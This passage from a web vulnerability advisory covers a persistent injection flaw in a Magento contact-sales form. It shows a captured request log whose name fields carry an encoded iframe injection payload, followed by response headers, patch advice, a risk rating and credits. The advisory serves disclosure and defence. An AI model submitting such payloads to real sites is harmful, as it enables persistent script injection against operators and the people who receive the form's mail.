utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; BIGipServerabjweb-ssl2_https=3909615882.47873.0000; ClrSSID=1394911532386-9188; ClrOSSID=1394911532386-9188; ClrSCD=1394911532386; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com; optimizelyPendingLogEvents=%5B%5D; ClrCSTO=T] Connection[keep-alive] POST-Daten: FirstName[%3Ciframe+src%3Da%3E] LastName[%3Ciframe+src%3Da%3E] Email[bkm%40evolution-sec.com] _marketo_comments[] lpId[2314] subId[36] munchkinId[397-EXO-877] kw[not+found] cr[not+found] searchstr[not+found] lpurl[https%3A%2F%2Finfo.magento.com%2FEC-Kraus.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D] formid[1129] returnURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html] retURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html] returnLPId[2301] _mkt_disp[return] _mkt_trk[id%3A397-EXO-877%26token%3A_mch-magento.com-1394911532816-55587] _comments_marketo[] _mkto_version[2.4.7] Response Header: Date[Sat, 15 Mar 2014 20:15:34 GMT] Server[Apache] Location[https://info.magento.com/EC-Kraus-confirm.html?aliId=67114725] Vary[Accept-Encoding] Content-Encoding[gzip] Content-Length[135] Connection[close] Content-Type[text/html] Reference(s): http://magento.com/customers/customer-showcase http://magento.com/explore/contact-sales https://info.magento.com/EC-Kraus-confirm.html?aliId=67114607 https://info.magento.com/EC-Kraus.html https://info.magento.com/index.php/leadCapture/save Resource(s): ../Contact Sales _ Magento-inputstep1.htm ../Contact Sales _ Magento-inputstep2.htm ../EC-Kraus-confirm.html ../EC-Kraus-poc2.html ../Your E.C. Kraus Magento Enterprise Case Study Download.html ../Your E.C. Kraus Magento Enterprise Case Study Download.eml ../poc-session-logs.txt ../poc-url-references.txt Picture(s): (view magazine article) ../1.png ../2.png ../3.png ../4.png ../5.png ../6.png ../7.png Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse or encode of the `talk to a specialist` input context. Encode and parse also the outgoing user values of the talk to a specialist form to prevent persistent injections via POST to outgoing service ebay magento mails. Restrict the input and disallow the usage of special chars. Security Risk: ============== The security risk of the persistent input validation and mail encoding web vulnerability is estimated as medium. (CVSS 3.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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